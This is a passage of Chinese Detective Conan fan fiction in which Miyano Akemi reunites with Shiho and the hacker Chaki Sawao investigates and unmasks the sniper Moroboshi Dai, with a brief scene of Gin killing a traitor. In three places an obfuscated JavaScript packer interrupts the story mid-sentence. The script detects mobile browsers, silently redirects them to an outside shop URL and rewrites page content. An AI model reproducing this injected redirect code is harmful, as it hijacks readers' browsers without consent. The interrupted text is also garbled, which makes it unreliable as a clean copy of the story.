顾及到茶木泽生还在,宫野明美桌下的只是握紧了一瞬便松开了,强装出无事的模样,红着眼眶看向许久未见的宫野志保。 没关系的。 她会努力让自己变得更有用,不再是拖妹妹后腿的累赘。 到时候,这些人就能离开了吧…… 8. 诸星大 “你长大了啊。”宫野明美的手捧住咖啡杯,细弱的热气自杯壁传至掌心,令她的声音也带上了几分咖啡的苦涩。 看着眼前那比自己想象中要瘦上许多的人,宫野明美的嘴唇嗫喏几下,想说的话卡在喉间,最后只吐出一句:“真好。” 这个年纪的孩子都在烦着该怎么绕过禁令,找个没人的角落抽烟喝酒。 或是三两结伴,在教室的一角探讨着本周播出的电视剧,顺带聊一聊自己那天马行空的未来。 而她的志保,却要为了没用的姐姐,昼夜不停的待在实验室里,围着那些冰冷的仪器数据打转。 “姐姐。”宫野志保拉住宫野明美不断往后缩的手,安慰道:“我现在的生活很好,以后也会很好的。” “我们的生活都会好起来的。”宫野志保明白姐姐的担忧,一直都明白。 同样的,她也在为此感到烦恼。 宫野志保对组织的情感很复杂。 一方面她十分感激组织将她们姐妹俩养大。 即便在她读书期间,那个几乎没能创造任何价值的时期,组织也不曾断过两人的生活资金。 另一方面她又隐隐为此感到苦恨。 组织不是一个看到孤苦无依的未成年人便会伸手掏钱买单的慈善机构,更不会因为看到了孩子们长大成人的笑容而感到满足。 他们所付出的,必将在后日取回。 就像是投资,对于他们来说,前期投入的资金,必须在后期千百倍的赚回来才不算是亏本。 而作为被投资的对象,她必须拼命的向投资者展现自己的价值,必须从实验室里掏出足够能够比黄金还要值钱的物质,以此换取未来的安稳生活。 即便手握大笔资金与资源,脑内满是知识,宫野志保每日依旧在恐慌中度过。 她始终都在害怕,害怕如果哪一天自己创造不出足够的价值,就会被组织抛弃。 就像投资人手中毫不犹豫被抛出的垃圾股一样,没人会在乎它们的结局。 同现在相比,在美国读书的那段时间,反倒是她最轻松的时刻。 两姐妹十分默契的略过了这个带着悲伤色彩的话题,在宫野志保的有意引导下,话题重新朝着欢快的方向发展。 不一会儿就扯到了宫野志保的读书生涯,在听到妹妹经常骑机车在公路上奔驰后,宫野明美的脸色立即就变得难看起来。 “你都没有成年,怎么可以骑那么危险的车!” 即便宫野志保已经长成了大姑娘,但在宫野明美眼中,她依旧是那个小小年纪便背井离乡,外出求学的小孩子。 看着姐姐彻底从刚才那个悲伤的氛围中走出,宫野志保心中的石头彻底放下,小声的为自己辩驳了几句:“我大学时所在的州十五岁就可以骑机车了。” 看着宫野明美依旧不赞同的目光,想到什么的宫野志保突然硬气了几分:“而且相较于姐姐半月前出的那场车祸,我的行为可算不上危险。” “说起来那个被撞的家伙出院了吗?”宫野志保放下杯子,神情不免有些担忧。 这种事情处理不好会变得很麻烦的。 “还没有,诸星大……” 听到了陌生的名字,宫野志保轻微侧过了头,用细微的动作对外表达着自己心中的疑惑。 宫野明美解释道:“诸星大就是被我撞的那个无辜路人。” “他前几天才刚能走路,医生建议让他再休养一段时间。我准备尽可能多的去探望一下他,毕竟他在这里也没有什么靠得住的亲人。” 一想到这件事,宫野明美不免懊恼起来。 也不知道是怎么一回事,那天在路上突然被广告牌的反光板刺了一下眼睛。 虽然及时踩了刹车,但依旧撞到了一位无辜的路人。 听到这些话,如实记录本次会面内容的茶木泽生顿了一下。 心有疑惑的他熟门熟路的黑进了系统,在交通科的道路监控体系以及医院的住院记录里翻找起来。 根据时间来推算,半月前差不多是宫野志保正式毕业的时间。 毕业前夕,实验室负责人曾多次挽留她。 对方希望宫野志保能成为实验室的正式研究员,甚至不惜动用关系卡了一下她的毕业流程。 而诸星大恰好在这时被宫野明美撞了一下…… 多次死里逃生的直觉告诉茶木泽生,整件事背后一定藏着点什么秘密。 几秒钟过后,一份病历以及数份监控视频静静的躺在茶木泽生面前的电脑里。 宛若潘多拉魔盒一般,无时无刻不在吸引人们打开它。 将入侵的尾巴清理干净,茶木泽生逐一浏览起来。 病历没有任何问题,但监控有部分缺失。 根据上传记录显示,在车祸发生地的监控已经失去信号半年之久,因为一直没有人上报,所以一直也就没有维修。 但这条路很偏僻,晚上还会有一群不良少年在此聚集,时不时就会有打架斗殴的事件发生。 通常情况下,大家都会特意避开这里。 茶木泽生从屏幕上挪开视线,看向了正在商量等会儿该去哪儿逛一逛的宫野姐妹。 宫野明美那天为什么会特意开车经过那里,诸星大又为什么会在那里出现? 真的只是一个巧合吗? 茶木泽生内心希望这个叫诸星大的男人是准备过来捣乱的同时,又怕诸星大是组织特意送到他面前用来考验忠诚度的探子。 思来想去了半晌,茶木泽生还是决定仔细查一查这件事。 查完不管怎么样都报给琴酒,让他自己操心去吧。 就算真的有异常,总不能让自己这个后勤人员参与进去。 本着优先保全自己的想法,茶木泽生又查了一下宫野明美的车辆行驶记录。 在做这件事时,他的动作格外小心,眼睛也时不时的打量着周围,生怕宫野志保察觉到什么。 琴酒既然用与宫野明美的见面作为奖励,那就说明对于宫野志保来说,姐姐是她心中最重要的存在。 茶木泽生自认为自己这个身上一团迷雾,半路被强掳过来的人完全没办法与从小在眼皮子底下长大,知根知底的雪莉相比。 如果被宫野志保发现了自己在调查她的姐姐,报给琴酒之后,倒霉的还不一定是谁。 确定没人注意到自己的动作后,茶木泽生分神看向电脑里的记录。 监控录像显示,宫野明美平时的行车路线完全不会经过事故发生地,在车祸发生的前几天,附近的道路正在维修,宫野明美不得已才进行了绕行。 同样的,诸星大也是因为这个,才绕行了那条监控缺失的小巷。 但监控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998723|193917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里没有他清晰的正脸照,无法和已有的系统库进行比对。 已知的信息看起来一切正常。 可茶木泽生就是觉得哪里不对劲。 这件事实在是太过于完美了。 正是因为完美所以才令人生疑。 就连珍贵的宝石里都会掺杂少量的杂质,只有人工培育的宝石才会在每一个棱角与切面上透露着无暇。 更何况是处处都充斥着巧合的突发性事件。 余光看到朝自己走过来的宫野志保,茶木泽生迅速将屏幕上的页面全都关掉,装作突然发现有人过来的样子问道:“怎么了吗?” “我和姐姐要一起去医院探望病人,你……” 宫野志保犹豫了一下,她和茶木泽生相处的时间太短了,有点摸不准他的性子。 “要麻烦一下明美小姐开车载我一程了。”茶木泽生露出一个人畜无害,相当温和的笑容,“作为车费,这次探望病人的礼物就让我准备好了。” 两人前往咖啡店时,因为两人一个是未成年,另一个是未成年的黑户,所以特意申请了外出用车。 但目前来看,宫野志保明显想和家人在一起,也不想让宫野明美过多的接触到组织的内部事务。 因此,三人全都坐在宫野明美的车里就成了最优选。 正好去医院仔细瞧一瞧,说不定还能趁机拍张清晰一点的照片,进一步调查一下诸星大的身份。 “志保,你是怎么想的?” 在宫野志保的强烈要求下,宫野明美并没有接触过太多有关组织的事,她同样不清楚该用什么态度对待茶木泽生。 因此她将谈话的主体权渡让给了宫野志保。 说是谈话权的渡让,其实两人并没有拒绝的权力。 明白这一点的宫野志保点头,同意了茶木泽生的要求。 有了琴酒给的那张卡托底,茶木泽生久违的开启了买东西不看价格的状态。 结果一不小心买的有点多,多到连后备箱都放不下。 最后还是茶木泽生抱了几份放在了后座里,三人这才顺利在身后坠着组织小尾巴的前提下出发。 在一大堆包装精美的礼物盒中,茶木泽生给琴酒发了一条短信: [雪莉她姐姐撞的那个人感觉有点不对劲,暂时没有找到异常之处。] 过了大概三五分钟,茶木泽生的手机屏幕亮起,琴酒的回复很简短,只有几个字: [怀疑人要拿出证据。] 看到这条消息的茶木泽生并没有回复,反正他已经报告给琴酒了,就算出了事也赖不到自己头上。 手背上带着明显伤疤的手按下了手机上的一个按键。 下一秒,屏幕亮起。 住在米花市立医院VIP病房的诸星大点开了那条信息。 发信人是未知,内容并不长,但他还是花了一段时间消化这件事。 他的联络人说有人调查了车祸那几日的监控影像,对方入侵和撤离的速度都很快,痕迹也扫的很干净。 如果不是他们一直盯着这件事,怕是也不会发现。 额头上依旧裹着纱布的诸星大面无表情的思索:宫野明美一直没发现自己的真实目的,这一次发起调查的应该也不是她。 她妹妹倒是有可能。如果真是这样的话,他应该很快就能渗透进去了。 9. 正式确诊属性为牙膏 米花市立医院,VIP单人病房。 值班护士推着换药车从病房中走出,刚好撞上了来探望病人的一行人。 “宫野小姐,您又来了啊。” 半晌才从那大大小小的礼盒之中看清来人是谁的护士将推车推到配药室里,快步接过那些礼盒,减轻病患亲友的压力。 她的脸上并没有笑容,这种特殊的地方也不适合带着笑脸。 但偏圆的脸型,以及柔和的五官依旧给人一种亲切感,看起来就是熟悉的朋友一般。 VIP病房里不仅仅是环境一流,就连服务态度也是一流。 他们不仅要减轻病患身上的病症痛苦,也要减轻病患亲友的心里负担。 这样才对得起他们付出的高昂治疗费用。 在护士喊出“宫野”两个字时,宫野两姐妹都以为对方称呼的是自己。 但宫野志保很快就收回了视线。 宫野小姐这个称呼对她来说有些陌生。 姐姐习惯叫她志保;组织里的人通常称呼她的代号雪莉;在美国读书时,实验室里的研究员往往只能发出音调古怪的称呼,到后面逐渐熟悉了,干脆用了简称。 宫野这两个字出现的频率便愈发降低。 至于茶木泽生,他更倾向于不说话,用邮件沟通,即便他们已经处在同一个空间之中,相距不过三五米远。 上一次有人这么称呼自己还是在回米花的航班上,空姐俯身询问自己需不需要一条毯子。 “美桥护士,是到了吃药的时间吗?” 身上没有多少东西的宫野明美转身又接过了自己妹妹身上的那些礼盒,眉眼间带上了几分困惑:“我刚才看到您从病房里出来了。” 诸星大目前所用的部分药物带有睡眠以及麻醉成分。如果已经吃了药,很快就会进入睡眠。 如果是这样的话,他们就只能改天再来了。 “为了病人的健康着想,我们的药品都是定时定点发放的。”美桥护士率先推开了病房门。 她用自己的身体抵住大门,方便其余三人进来的同时解释道:“刚才是因为患者在削苹果时不小心割伤了手,所以我过来做了一下紧急处理。” “非常抱歉宫野小姐,我们没能尽到完善的看护责任。” 在这里,只要是病人的身体状况朝着不好的态势发展,哪怕是因为一些意外事件,他们也为此负起责任。 不能影响病人的情绪,也不能得罪出钱的一方。 到头来负责的人居然是一个和事件毫无关系的护士,真不愧是VIP待遇。 将抱着的礼盒放在茶几上的茶木泽生同情的看了一眼美桥护士。 果然呐,打工人的处境无论在哪里都不好过。 在美桥护士说这话时,听到动静的诸星大放下了手中的杂志:“是我不够小心,当时在出神想别的事情,所以不小心弄伤了手。” 说完,诸星大露出了自己受伤的那只手。 左手食指上缠着厚厚的一层纱布,看起来伤的不轻。 在别人的目光聚集在自己受伤的手指上时,诸星大趁机快速扫了一眼病房里的人。 除了一直照顾自己的美桥护士,以及经常来探望自己的宫野明美外,病房内还有两个没怎么见过的陌生人。 其中一位眉眼间同宫野明美有几分相似,应该就是宫野明美经常提到的那个妹妹宫野志保。 至于另一个陌生男性…… 诸星大不动声色的收回了视线。 戴着平光镜的面容很青涩,看起来还没有成年,身上没有硝烟或是血腥味,手指没有枪茧,却背着一个很显眼的电脑包…… 除了那张很符合女性审美,有些扎眼的外貌外,简直就像是刚从学校里走出来的学生。 但能和宫野姐妹站在一起的人,绝对不会是看起来这么普通的样子。 他的身份绝对值得深挖。 说不定说本次调查自己身份的人就是他。 在诸星大思索茶木泽生身份时,茶木泽生也在尽可能的多了解诸星大的信息。 半躺在病床上,身上的绝大部分部位都藏在被子下面,唯一能提供身份信息的部位还被纱布裹住了。 伤得可真是时候。 两人心底的思索不为人知,认为自己该离开这里,将病房的空间留给几人的美桥护士打了个招呼准备先行离开。 “请稍等一下。” 茶木泽生叫住了已经转身的美桥护士,他从茶几上拿了一份能供整个楼层的值班护士一同分享的巧克力礼盒递了过去。 “这段时间麻烦您了,还请收下这个。” “这个……我真的可以收下吗?”认出品牌的美桥护士有些犹豫。 这一盒真的很贵。 “当然可以。”茶木泽生直接将礼盒塞了过去,“您这段时间的尽职尽责我们全都看在眼里。” 茶木泽生并不知道美桥护士是否尽责,但他知道只要美桥护士将这盒巧克力分出去,自己就能让整个楼层的护士全都记住今天有一个善良又大方的病患亲友来过。 到那时,打听诸星大的消息就容易多了。 送走美桥护士后,茶木泽生重新安静起来。 除了在诸星大询问自己是谁时,说了一句“我是宫野小姐的同事”外,便没有再发表任何言论。 就像在咖啡店里一样,从不主动开口,只是默默地听,默默的记。 只有在话题和自己有关时,才会吝啬的对外挤出一丁点情绪与话语。 简直和快用完的牙膏一样。 “宫野小姐的同事”这句话,敏锐的刺进了诸星大的神经。 要知道这里可是有两位宫野小姐。 他更倾向这个陌生青年是宫野志保的同事。 如果是宫野明美的同事,他前几天就会来的,不会拖到现在。 如果是宫野志保的同事那就说的通了。 他在几个小时之前调查了自己的身份,如今来到这里是为了做进一步的确认。 看来计划的进展还算不错。 诸星大一边应和着宫野明美的话,一边分神看了茶木泽生一眼。 除了茶木泽生,屋内同样寡言的还有宫野志保。 看着和姐姐交谈甚欢的诸星大,她总觉得有点不对劲。 这个男的,未免也太热情了,一看就是不怀好意。 说不定那场车祸就是他故意碰瓷,目的就是为了彻底赖上姐姐。 在这间不方便用电脑进行即时记录的病房里,茶木泽生退而求次的用手机进行录音。 屏幕上的录音时间一分一秒的增加,在时间跨越到五分钟的那一刻,收件箱显示茶木泽生有一封未读的邮件,发信人则是—— 雪莉? 茶木泽生诧异的转头看了一眼坐在沙发另一端的宫野志保。 在实验室共处的那段时间里,他为了测试新的阅后即焚功能,经常会给宫野志保发邮件,但她从未回过一封。 往往都是看到内容后,直接说出来自己的想法或是意见。 如今怎么会突然给自己发邮件,还是在这种时候。 不知道宫野志保在想什么的茶木泽生点开了那份邮件,邮件的内容很简短: [麻烦帮我查一下诸星大接近姐姐的真实目的。] 看到前半句的茶木泽生差点被吓死,他本以为宫野志保是看不够自己调查的进度太慢,代表组织过来推进进度的。 看完后半句他才松了一口气,原来是在担心宫野明美被骗。 害得他以为自己偷懒被发现了。 退出阅读后,躺在已读列表里的邮件消失的干干净净。 对于宫野志保的要求,茶木泽生没有答应,也没有拒绝,只是回复了一句话。 更为准确的说法是一个要求。 [我从不白打工。] 用要求回答要求,才最为公平。 就算是穿越前多次追杀自己的神秘富豪,茶木泽生也没有放过他。 每一次他可都是狠狠的报复了回去。 只有两个账户又如何,他照样能远程将那些灰色资金冻结,让他一分钱都动不了。 在看到那封回件时,宫野志保猛地意识到了一件事。 茶木泽生和琴酒的关系很好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998724|193917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>能和琴酒和平共处的人,怎么可能像他看起来那样无害。 寻常的筹码肯定无法打动茶木泽生。 他不缺钱,也不缺地位。 自己手上除了实验数据外拿不出任何有用的东西,但这些东西在茶木泽生眼中怕是一文不值。 就在宫野志保仔细思索自己到底能拿出什么时,她收到了一封新的邮件: [算了,就免费帮你这一次,再怎么说我们也是同事。——查特] 这一次他带上了自己的代号。 宫野志保很想问一问茶木泽生为什么突然改变了主意。 但她怕自己问了之后,茶木泽生会再度转变想法。 虽然宫野志保与组织成员接触的不多,但也知道组织里有不少成员喜欢看人们的情绪因自己的言辞而瞬间转变的样子。 茶木泽生改变主意的原因其实很简单。 他是一定要离开组织的,到时候宫野志保说不定能帮他一把。 多个朋友有多条路嘛。 待墙上的时钟跳转到十二点半时,有人敲响了房门。 病房内只有宫野明美习以为常的说了一句:“请进。” 其余三人的目光全都齐刷刷的望向那扇木门。 在茶木泽生那漫长的逃亡生涯中,有一次差点被伪装成外卖员的杀手砍断脖子。 自那以后他对敲门声格外敏感,也开始不再吃需要二次深加工的食物。 要不是那天确认琴酒不会杀了他,茶木泽生绝对不会提出用餐的要求作为试探。 雪莉则是有些厌烦。 读书时的实验室附近总是会冒出来许许多多绕过门禁闯进来的医药或是器械代表。 一旦让他们看到实验室里有人,他们就会拼命的敲门,直到有人走过去,他们才会立即停止动作,趁此时机推销自家公司的产品。 简直比苍蝇还要烦人。 诸星大的眼神则带着谨慎,像是一个极为洁癖的强迫症患者,对即将到来的未知预设了诸多情境。 或许在诸星大的想法中,那扇门后会出现很多人,但唯独没有这一种。 “到用餐时间了。”美桥护士推着餐车走了进来。 这是她为数不多能露出笑容的轻松时刻。 坐在病床旁的宫野明美帮着一起立起小桌板,将饭食摆好。 婉拒了一同用餐的请求后,看着诸星大举起筷子的手缠着纱布,茶木泽生突然问:“您是左撇子吗?” “其实用右手也可以,只不过我更习惯于用左手。”像是已经预想到了有人会问这个问题,诸星大回答的很快,“小时候家里人纠正过很多次,但依旧没能彻底改过来。” “是吗。”茶木泽生意味不明的应了一声。 既然右手也能用,为什么在左手受伤的前提下依旧使用左手? 他是故意的。 茶木泽生毫不费力地得出了真实原因。 诸星大在故意告诉自己纱布下面藏着他的秘密。 探索秘密这种事,知道的人越少越好。 比起正午,更适合在深夜开展。 待诸星大吃完午餐,琴酒给出的半日时间也耗的差不多了,两姐妹依依不舍的道别,约好了下次见面的时间地点。 在医院的地下停车场内,宫野志保站在组织的车旁,目送宫野明美逐渐远去。 直到彻底看不到任何踪迹,宫野志保才上了车。 坐在后座的她见茶木泽生依旧站在原地,问道:“你不走吗?” “我还有其他事,你先回去吧。” 关于茶木泽生口中的其他事,宫野志保没有多问。 她早就学会了该在什么时候当哑巴。 有些事不问出来,对所有人都好。 在宫野志保朝着停车场给出口走去的同时,茶木泽生重新搭上了返回住院部的电梯。 他在VIP楼层附带的餐厅角落里待了好一阵儿,期间还将宫野姐妹见面时的音频与整理好的文本发给了琴酒。 看着窗外的日光一点点暗淡下来,直至黑夜取代白日,茶木泽生才收拾好装备,朝着熟悉的方向走去。 10.他果然是组织派来考验我的! 餐吧区的位置刚好在这一层病房的一角。 那是一个远离病区,能够用来临时商谈或是让人们欣赏美景的地方。 过往习惯作祟,为了模糊面容,降低辨识度,茶木泽生避开监控,从背包里翻出来一顶棒球帽压在头顶,将那些张扬的发丝全部遮住。 再加上那副平光镜的遮挡,只要不是刻意仰头,没人能从监控里看清他的脸。 背起背包,手持相机,独自走在住院区的走廊里的茶木泽生在护士站遇到了一个预料之外的人。 在这里看到她,茶木泽生有些意外,但随之而来的是难以抑制的欣喜。 “美桥护士,今晚是你值夜班吗?” 有熟人在才好办事啊。 这间医院的VIP病房有特殊规定,就算是病人家属的会面也需要通知当事人。 本以为要费一番功夫才能在不惊动诸星大的前提下进到病房,现在看来他已经找到了一枚能打开所有房间的□□。 “今天值班的同事请了急假,我帮她顶一天班。” 美桥护士没有细说同事到底是为了什么请假,三两下又将话题绕回了茶木泽生身上。 “您是特意回来照看病人的吗?” 医院有规定,在夜班期间不能闲聊,以防错过其他科室与病房的呼叫。 但与病人家属探讨患者病情可不在“闲聊”这个范围之内。 就算是院长来了,也没法扣掉她一分钱。 听到美桥护士说了什么的茶木泽生在心中暗自反驳。 照看诸星大? 这辈子都不可能。 他可是特意回来揭穿那个家伙真面目的。 想到自己接下来的行动,茶木泽生主动道:“其实是在听说诸星大受伤后,突然想到了自己偶尔也会受伤。” “但因为伤口都不大,懒得去诊所,每次都是等着伤口自然愈合。” “这次来这里是想要讨教一下小伤口的日常用药和包扎手法。” 说完这些,茶木泽生颇为不好意思的低下了头,一副麻烦到了别人的样子。 茶木泽生没有说谎,他确实很需要这方面的知识。 当年他初出茅庐,第一个任务就把自己送上了通缉令,每次处理伤口都是手边有什么就用什么,基本上是消炎药与抗生素轮着来。 现在想来,那么粗糙的处理方式都没死,还真是命大。 “原来是这样。”美桥护士露出一个标准的服务微笑。 紧接着,她从宣传栏罗列的手册中抽出一份递给了茶木泽生:“家庭常备用药可以根据手册上的推荐来进行购买,每一家药店都能买到。” “至于包扎手法……” 看出来美桥护士的为难,茶木泽生追问:“如果诸星大的伤口还没有换药的话,我可以在一旁进行观摩吗?” 那家伙绝对没有换药。 削水果时出现的切割伤属于裸露伤口,在创伤初期每一天或是半天换一次药即可。 他和宫野姐妹是上午来的医院,那时诸星大的伤口刚刚处理好,通常情况下会在明早换班时由下一班护士统一进行换药。 但现在嘛,提前一点也无所谓,反正受伤的不是自己。 在茶木泽生饱含暗示与期待的眼神里,美桥护士十分爽快的推出了自己的换药车。 在内部人员的带领下,茶木泽生一路畅通无阻的来到了诸星大的病房前。 “病人,该换药了。” 随着护士打开门的动作,屋内的诸星大也看清了来人是谁。 这间病房的负责人美桥护士,以及那个和宫野明美一起来的青年。 “嗨。”站在后方的茶木泽生笑眯眯地同诸星大打招呼,“又见面喽。” 背着光的身影本就模糊,面容又被灰蓝色的镜片挡了大半,让诸星大暂时判断不出来人的真实情绪。 但直觉告诉他,这个人并没有表现出来的那么开心。 要是知道诸星大心中所想,茶木泽生一定会翻着白眼说:“废话!大半夜为了一个不认识的陌生人加班谁能开心?” 原本他的外勤工作在宫野志保回去时就能结束了。 现在可好,要在外面待到确认好诸星大身份才能回去,刚好撞上寸步难行的晚高峰。 一想到这些,茶木泽生的心情就降了下来。他最讨厌的就是这种被困在一个地方的感觉。 在场三人,只有美桥护士还能对外展现出足够的友善。 但随着门外一声高过一声的紧急呼叫,她脸上的温和迅速褪去,飞一般的向外跑去。 “非常抱歉,我需要先处理一下其它事物,稍后会继续为您换药!” 在美桥护士尚未消散的余音中,茶木泽生与诸星大对上了视线。 明亮如昼的病房内一角还堆着礼盒,但相较于上午的其乐融融,此时病房的氛围要严肃了不少。 两人都知道,这次试探是成功与否的关键。 “抱歉,我是初学者,手法可能有些粗糙,请忍耐一下。”茶木泽生对着诸星大伸出了手,示意接下来的换药由自己接替。 “这算是无证行医吗?” 伸出手的诸星大说了一个茶木泽生并不喜欢的笑话,被他不痛不痒的刺了回去:“随时欢迎举报。” 相较于美桥护士的温柔体贴,茶木泽生的手法要粗暴许多,他直接将纱布一把扯下,在诸星大细微的痛呼声中,他看到了一个熟悉的东西。 受伤的左手食指第一指节带着一层薄茧,掌心却很干净。 同样的茧子他在琴酒身上看到过,这是长期持有并使用狙击枪的人才会留下的特殊痕迹。 在看到那些枪茧后,茶木泽生与诸星大的心中同时升起一个想法—— 他果然是组织派来考验我的! “这位先生。”茶木泽生丢掉纱布,面无表情的举起相机正对诸星大,“请看镜头。” 咔嚓一声,灯光闪过,一张适合用来作为信息检索的正脸照便留在了相机里。 看着眼前人拍完照便不再有任何动作,诸星大曲了一下手指,尚未愈合的伤口渗出一丝血线:“不换药了吗?” “自己换。”茶木泽生从推车里随便挑了一瓶丢了过去,“你不是左右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003003|193917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手都能用吗。” 接过药剂瓶的诸星大一看,丢给自己的是一瓶抗生素。 这种东西根本不能用于外伤伤口吧…… 感觉像是故意的。 自己刚才有得罪他吗? 瞥了一眼前方正在翻看相机的人,诸星大叹了口气,认命的自己下床从美桥护士遗留下来的换药车上找出了自己需要的药品,用尚且完好的右手开始包扎。 看着裸露的伤口逐渐处理妥善,茶木泽生收起设备起身告别:“既然换好药了,我就先走了。” 希望医院门口没有那么堵。 “等等。”诸星大叫住了已经快要走到门口的人,“还不知道你叫什么名字。” 如今他的身份也勉强算是过了组织的明路。都到了这一步,总不能连对方的名字都不知道。 还有那副碍事的眼镜,灰蓝色的镜片遮住了太多瞳色,将面容信息的有效度降低了许多,再加上背光,即便送回去,也分析不出太多东西。 希望对方给出的名字能有点用。 “……茶木泽生。” 丢下这个名字后,茶木泽生见美桥护士还没有回来,照例从病房的礼盒里抽了一份适合的礼物,用便签写了几句感谢的话,放在了护士站最为显眼的地方。 在等电梯的间隙,看到楼下川流不息的车群,想要快速免费蹭车的茶木泽生给琴酒发了一张放大过后的手部照片。 附文:[之前说的那个人是个狙击手,具体的过往需要一点时间才能查出来。] 收到信息前的琴酒刚刚解决了一个叛徒,在从动脉汨汨而出的血液沾湿鞋底之前,琴酒皱起眉往后退了一步。 虽然过一会儿会有专门处理现场的组织成员,但他本能的不想在这里留下太多的物证。 看着那依旧在垂死挣扎的不知名叛徒,琴酒依靠着车门,点燃一支香烟,就这么冷漠的看着他一点一点的丧失呼吸,失去生机。 随后—— “叮!” 茶木泽生发来的信息打断了这幅美景。 琴酒不耐烦地点开那封如果不查看就会一直反复提醒的邮件,在看到具体内容后,他的心情明显好了很多。 刚才死的这个家伙是CIA的卧底,根据另一个叛徒供出来的名单来看,这是最后一个了。 缺了一批人的行动组如今正是需要人手的时机,如果茶木泽生口中的那个人背景够干净的话,刚好可以让他进来试一试。 还能省下一段培养的时间。 不枉他当初费了那么大功夫把茶木泽生从朗姆的手里截下来,天才确实好用。 即将免费获得一个新狙击手的琴酒罕见的没有给茶木泽生布置新任务,他在按键上按了几下,一条新的信息发了出去。 琴酒:[位置] 几乎是在邮件发送成功的下一秒,茶木泽生的回件便同步到达。 查特:[米花市立医院VIP病区。] 下方还附赠一个卫星定位。 在外围成员一言不发的收拾现场时,琴酒见怪不怪的合上手机,朝着茶木泽生给出的位置开去。